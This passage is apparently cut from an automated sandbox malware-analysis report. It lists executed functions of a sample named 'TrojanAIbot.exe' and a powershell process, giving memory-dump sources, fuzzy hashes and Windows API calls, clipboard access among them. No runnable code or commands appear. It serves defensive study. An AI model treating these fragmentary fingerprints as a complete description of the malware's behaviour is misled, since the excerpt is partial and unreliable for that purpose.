Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_40e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a8d81608f69a4c6771ae48b2f4fcecc8ed9e7d166fcd1d9b9e6cc69f192b5cb
Instruction ID: 2e6b35a407574898fd983c6c2a160a7290a9aebbad5dee9a70fce37551b67353
Opcode Fuzzy Hash: 2a8d81608f69a4c6771ae48b2f4fcecc8ed9e7d166fcd1d9b9e6cc69f192b5cb
Instruction Fuzzy Hash: 70E086B180420ADBCB08AF66E4CA5BDBF74FF10311B000459D54653280EB316657CFC1

Function 040EF468 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2269158373.00000000040E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_40e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction ID: 0f072cfa9f146d0a77f480ea2b8c604efac062786508809714570b9ef6aae59c
Opcode Fuzzy Hash: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction Fuzzy Hash: 91D067B0D0420DAF8780EFADD94156EFBF4EB48200F6085AA8919E7301F7329A128BD1

Function 040E8748 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2269158373.00000000040E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_40e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 743071a6f2b447d31ceb75764903612fa517c2a4627e3e2bc8eb7bb3573c8f14
Instruction ID: e2a628b9d6b101702d710028fe45ad0ef2c7df77f8d9b4f74c9cfdb3e0ed366f
Opcode Fuzzy Hash: 743071a6f2b447d31ceb75764903612fa517c2a4627e3e2bc8eb7bb3573c8f14
Instruction Fuzzy Hash: 76D017318081098BCB08ABA6E89B9BDBB34FA10312F404169D90762190EA356A5ACAC1

Function 040E7EA0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2269158373.00000000040E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_40e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a91b8a300b7be6bdee89e8b33f9d09bf0b2c3bfddec336554795a22b4c8a80f4
Instruction ID: ce14d1bd30f6c4d448fbc2c16cd4df8e4f6a04e891d5d1f34411bd8e6f131f15
Opcode Fuzzy Hash: a91b8a300b7be6bdee89e8b33f9d09bf0b2c3bfddec336554795a22b4c8a80f4
Instruction Fuzzy Hash: 58C08C22E6E3811FFF43B2322C211C23FB284532A030A02D3D800C6027DC1D8901C291

Function 040E8810 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2269158373.00000000040E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_40e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 526adf506b99ac8b68682ea2b461c16b69f2c7bbe939da9b8076d709f18cadce
Instruction ID: d4aa4e7c90bdb4e707a2c79a6209b53eee3a83b89ddde4b2e8875915d66e0dcc
Opcode Fuzzy Hash: 526adf506b99ac8b68682ea2b461c16b69f2c7bbe939da9b8076d709f18cadce
Instruction Fuzzy Hash: 18D01234E0820A8FC714EF65D44696DBBB5E744300F004155D90993380EA305C51CBC1

Function 040E7932 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2269158373.00000000040E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_40e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9ec1856c11bf62cb8ee229abe401eb97b0aac2f10806d1b90fee9305a52cd22
Instruction ID: c95918c6daac60e7a040659e46a3c371e692d4fefdbefd6436f1512e9d67102a
Opcode Fuzzy Hash: c9ec1856c11bf62cb8ee229abe401eb97b0aac2f10806d1b90fee9305a52cd22
Instruction Fuzzy Hash: 85D0223610E3C28FE7025BB1BC140D03F22DE9329434500EFE00ACB2E3D92A8948CB11

Function 040E7940 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2269158373.00000000040E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_40e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46cc286577009d7a151361e3fb10ec2700c36419271794325549083d02cc0912
Instruction ID: ca243e294fd25ebb645ff8377a00ad1015e18c1e094aebc772188e98833a6782
Opcode Fuzzy Hash: 46cc286577009d7a151361e3fb10ec2700c36419271794325549083d02cc0912
Instruction Fuzzy Hash: 29B092300457498FC3486F75AC088197329AB4021578004A8E80E0A6928E3AE888CE54

Analysis Process: TrojanAIbot.exePID: 6628, Parent PID: 1064COMMON

Executed Functions

Function 02C70847 Relevance: .6, Instructions: 601COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2273072787.0000000002C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2c70000_TrojanAIbot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9252d6eaa61c795cf62771c0832dfe3ccd28b75bb8e4522ac868f630a394273
Instruction ID: 755fbcb99a94e63da678c2b49bd79e8a18c365235d9a309765ea8b09c9238af2
Opcode Fuzzy Hash: b9252d6eaa61c795cf62771c0832dfe3ccd28b75bb8e4522ac868f630a394273
Instruction Fuzzy Hash: 1F62AC70E01269CFDB68DF24D894B9DBBB2FF88301F1185A9D449A7255EB31AE85CF40

Function 02C70848 Relevance: .6, Instructions: 601COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2273072787.0000000002C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2c70000_TrojanAIbot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b2f01fba92bde1f254ba328fbd32f9decf67e192d8495962ce6c0cb5817862c
Instruction ID: 9f6503f0d13fc186a2e1d368463150acc9531c3b6015c09eaf6467225c953810
Opcode Fuzzy Hash: 7b2f01fba92bde1f254ba328fbd32f9decf67e192d8495962ce6c0cb5817862c
Instruction Fuzzy Hash: 2C62AC70E01269CFDB68DF24D894B9DBBB2FF88301F1185A9D449A7254EB31AE85CF40

Function 02C75228 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2273072787.0000000002C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2c70000_TrojanAIbot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4eb3d8aa2c958b52a01fe159f193984f3b226542a099a90760f44feed57bcbf
Instruction ID: d8372e4d3142af254a40d7ab19026b53ad72c7a8a2ba8b85dd910e2351c0c75c
Opcode Fuzzy Hash: c4eb3d8aa2c958b52a01fe159f193984f3b226542a099a90760f44feed57bcbf
Instruction Fuzzy Hash: 94118C70C11219DFDB24EFB4D0493AEBBF0EB45306F1199AAC415A3290DB780688CF51

Function 02C75238 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2273072787.0000000002C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2c70000_TrojanAIbot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 148930196ba43f278864cc506475ab79137ec404f217d56457d1938c4a3b4bad
Instruction ID: 7c37be896c29751a4908ac0184a1f5a179ce05a2ddceb4f1a0ec5c84a9bd4c89
Opcode Fuzzy Hash: 148930196ba43f278864cc506475ab79137ec404f217d56457d1938c4a3b4bad
Instruction Fuzzy Hash: 1E017874C11219DFCB18EFB4C0493AEBBF0EB45306F1098AA8815A3290DB780788CF91

Analysis Process: TrojanAIbot.exePID: 5388, Parent PID: 2532COMMON

Execution Graph

Execution Coverage:	10.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	328
Total number of Limit Nodes:	36

Executed Functions

Function 00F2D418 Relevance: 1.7, APIs: 1, Instructions: 199
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 00F2D67E

Memory Dump Source

Source File: 00000010.00000002.4588943746.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f20000_TrojanAIbot.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 2872890c2cf439c9f0141618dabb7eae6de178c04b6f3350449bbe3d8aa1d661
Instruction ID: 006dc1b61ec8364ed12014e75eaf249dcfb284def0f76a698b4bb3d2a6dbd75c
Opcode Fuzzy Hash: 2872890c2cf439c9f0141618dabb7eae6de178c04b6f3350449bbe3d8aa1d661
Instruction Fuzzy Hash: 89815670A00B158FDB24DF29E45579ABBF1FF88314F148A2ED48AD7A40D774E845CBA0

Function 05491C94 Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 05496671

Memory Dump Source

Source File: 00000010.00000002.4595965059.0000000005490000.00000040.00000800.00020000.00000000.sdmp, Offset: 05490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_5490000_TrojanAIbot.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: f83bf6e7b88a257a3d74a447095868a622d9f45dcb493cc92f69765f431ccec0
Instruction ID: 43635233704a245e61aed76ec617763d091e97fc7d0af5c981e57461ecdec1e3
Opcode Fuzzy Hash: f83bf6e7b88a257a3d74a447095868a622d9f45dcb493cc92f69765f431ccec0
Instruction Fuzzy Hash: A84136B8900349DFDB14CF99C489BAABFF5FB88314F258499D519AB321D734A841CFA0

Function 0549F8A8 Relevance: 1.6, APIs: 1, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000010.00000002.4595965059.0000000005490000.00000040.00000800.00020000.00000000.sdmp, Offset: 05490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_5490000_TrojanAIbot.jbxd

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: c3fd1c46ec06ab1faab061a67f305561df31492aecd8d86d8ecb277a7af8d5b1
Instruction ID: 9c64673ffcd741057c4bac63019c70c04bbe0af0dd8de229230b1906dd4af899
Opcode Fuzzy Hash: c3fd1c46ec06ab1faab061a67f305561df31492aecd8d86d8ecb277a7af8d5b1
Instruction Fuzzy Hash: DC318772904359AFCF16DFA9C845AEEBFF8EF09310F14805AE554E7261C3399864DBA0

Function 05EA24CC Relevance: 1.6, APIs: 1, Instructions: 74
comclipboardCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleGetClipboard.OLE32(?), ref: 05EA48D0

Memory Dump Source

Source File: 00000010.00000002.4596696222.0000000005EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_5ea0000_TrojanAIbot.jbxd

Similarity

API ID: Clipboard
String ID:
API String ID: 220874293-0
Opcode ID: d26ba83c78197d0f382b8d3557c1e9e2d1d22e854868ed1f33ff62b4be36ee99
Instruction ID: 2bf2a39e73f51e431c1239b2e13ee26daa25cf02c066ceb15e697f6f5cc1351a
Opcode Fuzzy Hash: d26ba83c78197d0f382b8d3557c1e9e2d1d22e854868ed1f33ff62b4be36ee99
Instruction Fuzzy Hash: D03122B190124DDFEB10CFA9C884BDEBBF5BF48704F208059E445BB290DBB4A845CB51

Function 05EA483C Relevance: 1.6, APIs: 1, Instructions: 74
comclipboardCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleGetClipboard.OLE32(?), ref: 05EA48D0

Memory Dump Source

Source File: 00000010.00000002.4596696222.0000000005EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_5ea0000_TrojanAIbot.jbxd

Similarity

API ID: Clipboard
String ID:
API String ID: 220874293-0
Opcode ID: a799ed03a26b02e5ea1b5e4533d3402c877f4495f9c3163d80fbde0a85b7ee78
Instruction ID: b0ad10644d739c3318c7381f9bb177d1c1d4c0d60c2919c61b09ea93b53d7ab4
Opcode Fuzzy Hash: a799ed03a26b02e5ea1b5e4533d3402c877f4495f9c3163d80fbde0a85b7ee78
Instruction Fuzzy Hash: 0B310FB190124DDFEB10CFA9C584BDDBBF5BB48718F208059E044AB290D7B8A845CF55

Function 00F2E1A0 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,00F2FCD6,?,?,?,?,?), ref: 00F2FD97

Memory Dump Source

Source File: 00000010.00000002.4588943746.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f20000_TrojanAIbot.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: d40da83a2c9e81207e5407d91cf7f7d27ac08530340d02157614902a44ede151
Instruction ID: be49afba43110a52e3561f91761728c932424527a9ac2d4dd096fd1f6c58c7dd
Opcode Fuzzy Hash: d40da83a2c9e81207e5407d91cf7f7d27ac08530340d02157614902a44ede151
Instruction Fuzzy Hash: 502105B5900219DFDB10CF9AD484ADEBBF4EB48314F14842AE914A7350C378A954DFA5

Function 00F2FD09 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,00F2FCD6,?,?,?,?,?), ref: 00F2FD97

Memory Dump Source

Source File: 00000010.00000002.4588943746.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f20000_TrojanAIbot.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 2a31b2132eca89366664b31f8cf8a1653cdc7e7c5a4c79646c1da7ce471f548b
Instruction ID: 3a1228ebcf7899c0251e9f957faee259f826155f5959fa6cf6bb5322851081fe
Opcode Fuzzy Hash: 2a31b2132eca89366664b31f8cf8a1653cdc7e7c5a4c79646c1da7ce471f548b
Instruction Fuzzy Hash: 882132B5C01209DFDB00CFA9D980ADEBBF4FB08320F14842AE918A3350C338A944CF60

Function 0549E41C Relevance: 1.6, APIs: 1, Instructions: 56
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateIconFromResourceEx.USER32(?,?,?,?,?,?,?,?,?,?,0549F8C2,?,?,?,?,?), ref: 0549F967

Memory Dump Source

Source File: 00000010.00000002.4595965059.0000000005490000.00000040.00000800.00020000.00000000.sdmp, Offset: 05490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_5490000_TrojanAIbot.jbxd

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: 37d9746a025a88739aef9063efcb29f20ce3136cb3e958da18282c5c0e668b00
Instruction ID: d3e4b69d3549e90156fa5f38b2f06bb4a5d1a3e9b740ac3996bb7fd6d2758fd6
Opcode Fuzzy Hash: 37d9746a025a88739aef9063efcb29f20ce3136cb3e958da18282c5c0e668b00
Instruction Fuzzy Hash: 181156B180034AEFDB10DFAAC944BDEBFF8EB48320F14801AE514A7250C379A954CFA4

Function 0549D522 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowTextW.USER32(?,00000000), ref: 0549D592

Memory Dump Source

Source File: 00000010.00000002.4595965059.0000000005490000.00000040.00000800.00020000.00000000.sdmp, Offset: 05490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_5490000_TrojanAIbot.jbxd

Similarity

API ID: TextWindow
String ID:
API String ID: 530164218-0
Opcode ID: c4bbcbeb4965982a01a2c7a1e8774cd60206e7d9904c96481ec575cca2eb07ca
Instruction ID: 3e68266f2829d2b658988e56f515143804cf8de5fd17e11d54073198cf00229d
Opcode Fuzzy Hash: c4bbcbeb4965982a01a2c7a1e8774cd60206e7d9904c96481ec575cca2eb07ca
Instruction Fuzzy Hash: ED1144B2C0024A8FDB14CF9AC444BDFFBF5AF88324F10806AD458A7250D338A545CF61

Function 0549D528 Relevance: 1.6, APIs: 1, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowTextW.USER32(?,00000000), ref: 0549D592

Memory Dump Source

Source File: 00000010.00000002.4595965059.0000000005490000.00000040.00000800.00020000.00000000.sdmp, Offset: 05490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_5490000_TrojanAIbot.jbxd

Similarity

API ID: TextWindow
String ID:
API String ID: 530164218-0
Opcode ID: 12d625c8935966d9f44cf156ac1baf6ea6b25fd619c3e8d6456ab157d395ce6b
Instruction ID: f9710ea92dbaa06b82610af7d2dec646b2f82c982fc70a30bccce87872765132
Opcode Fuzzy Hash: 12d625c8935966d9f44cf156ac1baf6ea6b25fd619c3e8d6456ab157d395ce6b
Instruction Fuzzy Hash: 231112B6C002498FDB14CF9AC444BDEFBF4EB88324F10842AD859A7250D338A945CFA5

Function 00F2D618 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 00F2D67E

Memory Dump Source

Source File: 00000010.00000002.4588943746.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f20000_TrojanAIbot.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 7115f489be1dd5416f0dcc4c64ada354cc6c129f61a3262a3a016af5104e7ec2
Instruction ID: a59d581b1167f2a3652a4984baa10d0a2ba8ef295ab09a642a530a28bc1896c1
Opcode Fuzzy Hash: 7115f489be1dd5416f0dcc4c64ada354cc6c129f61a3262a3a016af5104e7ec2
Instruction Fuzzy Hash: EF1110B5C003498FDB10CF9AD444ADEFBF4EB88324F20842AD418A7210C379A545CFA5

Function 0549E460 Relevance: 1.5, APIs: 1, Instructions: 47
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageW.USER32(?,?,?,?,?,?,?,?,00000000,?,?), ref: 0549FCCD

Memory Dump Source

Source File: 00000010.00000002.4595965059.0000000005490000.00000040.00000800.00020000.00000000.sdmp, Offset: 05490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_5490000_TrojanAIbot.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 98254321178ba75110a7c69bbd289fc401324298feb6a00113f28a03d647e06e
Instruction ID: 1ba9467828062e5d9f7abef8aaacdf3411dbb5f72a83938ba5abdcf1f6ca3106
Opcode Fuzzy Hash: 98254321178ba75110a7c69bbd289fc401324298feb6a00113f28a03d647e06e
Instruction Fuzzy Hash: 401110B58002499FDB10DF9AC449BDEBFF8FB48324F10841AE918A7200C378A984CFA1

Function 05EA21B0 Relevance: 1.5, APIs: 1, Instructions: 46
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 05EA319D

Memory Dump Source

Source File: 00000010.00000002.4596696222.0000000005EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_5ea0000_TrojanAIbot.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 53d8d6820db51ea677dfb0ca9ec97b43781dcd261ae6d09a5269c2b862605309
Instruction ID: c1cede140e82d3147a39a46bb4c10f7bfd2252b745c20f92eaa70276d3537cb6
Opcode Fuzzy Hash: 53d8d6820db51ea677dfb0ca9ec97b43781dcd261ae6d09a5269c2b862605309
Instruction Fuzzy Hash: 661145B1800309CFDB10DFAAC444BDEBBF4EB48324F208859E559A7240C378A944CFA5

Function 05EA225C Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?,?,?,?,?,?,00000000,-00000018,?,05EA3687), ref: 05EA4125

Memory Dump Source

Source File: 00000010.00000002.4596696222.0000000005EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_5ea0000_TrojanAIbot.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: d6d464f378150f7a5d62b14271f80fb02965155348a6ffc915bb1854559e4aec
Instruction ID: dd3a15d90d62ce4758395c9cf996de78b132edee8f0ead14862a7e8b413aee9c
Opcode Fuzzy Hash: d6d464f378150f7a5d62b14271f80fb02965155348a6ffc915bb1854559e4aec
Instruction Fuzzy Hash: BD111DB5C046498FDB20DFAAD444BDEFBF4EB88224F10842AE458A7240D378A944CFA5

Function 0549FC68 Relevance: 1.5, APIs: 1, Instructions: 46
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageW.USER32(?,?,?,?,?,?,?,?,00000000,?,?), ref: 0549FCCD

Memory Dump Source

Source File: 00000010.00000002.4595965059.0000000005490000.00000040.00000800.00020000.00000000.sdmp, Offset: 05490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_5490000_TrojanAIbot.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 9b796138b47cb57499764d445e4b63effca3689e692f018126bbab2d1265dd3c
Instruction ID: 8770ac30f7ad106feaa1591bfab03d67e6b2fa4ad994001488b5d665cace8cfe
Opcode Fuzzy Hash: 9b796138b47cb57499764d445e4b63effca3689e692f018126bbab2d1265dd3c
Instruction Fuzzy Hash: F21103B5810209DFDB10DF99D585BDEBBF4FB48314F10881AD958A7350C379A984CFA1

Function 05EA3140 Relevance: 1.5, APIs: 1, Instructions: 44comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 05EA319D

Memory Dump Source

Source File: 00000010.00000002.4596696222.0000000005EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_5ea0000_TrojanAIbot.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 58b857ad8f1bb647bdfc45954d6ab648997c837108bba9dcf1f883838dc86678
Instruction ID: efa95f8521aea31cf6fb75f79b7e11612e5880f3c62e1f20655b7856af9e339e
Opcode Fuzzy Hash: 58b857ad8f1bb647bdfc45954d6ab648997c837108bba9dcf1f883838dc86678
Instruction Fuzzy Hash: 661112B5800309CFDB10DFA9D585BCEBBF4FB48324F24885AD559A7250C339A944CFA5

Function 05EA40C1 Relevance: 1.5, APIs: 1, Instructions: 42windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?,?,?,?,?,?,00000000,-00000018,?,05EA3687), ref: 05EA4125

Memory Dump Source

Source File: 00000010.00000002.4596696222.0000000005EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_5ea0000_TrojanAIbot.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 2a3edb99c006cdcd4306dcdb1cc6c3d1091f365b64ed46ee6e723aa657c270b1
Instruction ID: 4a8a95f508368e55a308e0524aa29b305172d6fad64a3c033f679c44b8e74a8b
Opcode Fuzzy Hash: 2a3edb99c006cdcd4306dcdb1cc6c3d1091f365b64ed46ee6e723aa657c270b1
Instruction Fuzzy Hash: AD1100B6C04649CFDB10CFAAD544BCEFBF4BB48314F10852AD458A7250C378A544CFA5

Function 00F2D657 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 00F2D67E

Memory Dump Source

Source File: 00000010.00000002.4588943746.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f20000_TrojanAIbot.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: c1296de82013aedb1dc9805e1e9d6a89d6618d037c839871fe5149b10fc63e02
Instruction ID: a4b9d488fb8f43dc4771fd9df279b85ab2e5c74be7018839b83e51a02bf05067
Opcode Fuzzy Hash: c1296de82013aedb1dc9805e1e9d6a89d6618d037c839871fe5149b10fc63e02
Instruction Fuzzy Hash: 0DF017B58003198FDB10CF89E4047DEFBF0EB88328F24855AD059A7250C3B9A549CFA5

Function 00F2D667 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 00F2D67E

Memory Dump Source

Source File: 00000010.00000002.4588943746.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f20000_TrojanAIbot.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 649e079aa128384da49fadb2baaafc4a8383a374e5a0c32f92db113545cdf6a8
Instruction ID: 55927ad2409670ce6357ea9a5e429e69398df3b6b148ba610d04002dbe7770e2
Opcode Fuzzy Hash: 649e079aa128384da49fadb2baaafc4a8383a374e5a0c32f92db113545cdf6a8
Instruction Fuzzy Hash: 75F039768043598EDB218F9AE4043CDFFE0AF59328F15854AC09DA7552C3782158CF95

Function 00DAD005 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.4588246412.0000000000DAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_dad000_TrojanAIbot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b1116fb2846e76aefa7ebfe2e6cfcfb0bbdafde6a1b233988f5745f554e2d20
Instruction ID: 34712f5eca2356e4ac2074358950249b89255adacbd6a8397e24f257a544a777
Opcode Fuzzy Hash: 9b1116fb2846e76aefa7ebfe2e6cfcfb0bbdafde6a1b233988f5745f554e2d20
Instruction Fuzzy Hash: 7631166110E3C08FD7178B3488A06517F71AF57224F1E80DBD999CE5E7C229884AC772

Function 00DBD01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.4588473917.0000000000DBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_dbd000_TrojanAIbot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da8d5bfdd97f28c9713adbbf6a415898cbf7168c4fa038fcfd1bf5f7e7ce8dc4
Instruction ID: a0d5739d55016c7405c03ea1f6b0783ccc263f7506226363214cb3d96959db85
Opcode Fuzzy Hash: da8d5bfdd97f28c9713adbbf6a415898cbf7168c4fa038fcfd1bf5f7e7ce8dc4
Instruction Fuzzy Hash: 59213471604200DFDB14EF14D9C0B56BB62FB88314F34C56DE84A4B282D33AD847CA71

Function 00DBD005 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.4588473917.0000000000DBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_dbd000_TrojanAIbot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d59cad7d061a03c9c57744a33355835e90af0669690640d9e26018f1942e704
Instruction ID: 1d4ff12794018359978885baa3e388245d661e981f896416d21a20690defef20
Opcode Fuzzy Hash: 7d59cad7d061a03c9c57744a33355835e90af0669690640d9e26018f1942e704
Instruction Fuzzy Hash: 12218E75509380CFCB02DF20D990755BF72EB46314F28C5EAD8498F2A7C33A980ACB62

Function 00DAD07D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.4588246412.0000000000DAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DAD000, based on PE: false

Joe Sandbox IDA Plugin

